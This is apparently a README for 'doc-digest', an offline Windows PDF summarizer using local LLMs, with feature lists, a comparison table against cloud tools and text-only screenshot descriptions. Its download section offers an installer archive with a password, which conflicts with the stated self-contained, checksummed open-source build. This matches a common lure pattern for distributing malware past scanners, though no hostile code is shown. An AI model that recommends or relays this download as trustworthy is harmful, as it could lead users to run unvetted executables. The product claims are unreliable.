📖 Free, open-source document summarizer for Windows — long PDFs into digests and Q&A with local LLMs. 100 MB portable, offline, MIT.
- ✅ Long-document handling — map-reduce passes digest 500-page PDFs that would blow a single context window
- ✅ Chapter outline — structure rebuilt as a collapsible outline before the summary is written
- ✅ Key point cards — decisions, numbers and named entities pulled out as scannable cards
- ✅ Q&A with citations — ask about the document and every answer links to the page it came from
- ✅ Batch digests — a folder of reports each summarized into its own markdown file
- ✅ Quote finder — search the original text for a phrase and jump to the passage
- ✅ 100 MB self-contained exe — runtime bundled, models downloaded separately, offline after that, MIT
- MIT licensed, source in the open
- No ads, no account, no telemetry
- Single portable 100 MB build - no setup required, runs offline
- CI builds every release and publishes SHA-256 checksums
- Windows 10 / 11 x64
| Feature | doc-digest | ChatPDF | NotebookLM | Manual reading |
|---|---|---|---|---|
| Price | Free, MIT | Paid tiers | Free web | Your weekend |
| Open source | Yes | No | No | N/A |
| Documents stay local | Yes | Upload | Upload | Yes |
| Works on 500-page files | Yes | Partial | Partial | Yes slowly |
| Batch folder digests | Yes | One by one | No | No |
| Portable, no install | Yes, 100 MB | Browser | Browser | N/A |
summarize long PDFs offline without uploading confidential documents?
Cloud PDF chat tools want the full document uploaded, which rules out contracts and internal reports. doc-digest processes long files locally in passes, builds an outline and answers questions with page citations. It is a 100 MB portable exe, MIT, offline, and can digest a whole folder while you do something else.
All screenshots describe the 1280x800 dark UI.
- Dark reader (#121417, amber #D97706): outline tree left with 24 chapters, digest pane right with key point cards, citation chips linking to page numbers.
- Q&A panel: question about payment terms typed in the bar, answer with two highlighted page links beneath, confidence note chip on the row.
- Batch view: 14 report files with digest status and lengths, per-file markdown checkmarks, folder output path chip, progress at 9 of 14.
| Source | Link |
|---|---|
| 💾 Installer doc-digest | Installer doc-digest |
Archive password:
5139237619
Requires the .NET 8 SDK on Windows 10/11 x64:
dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true
MIT. See LICENSE.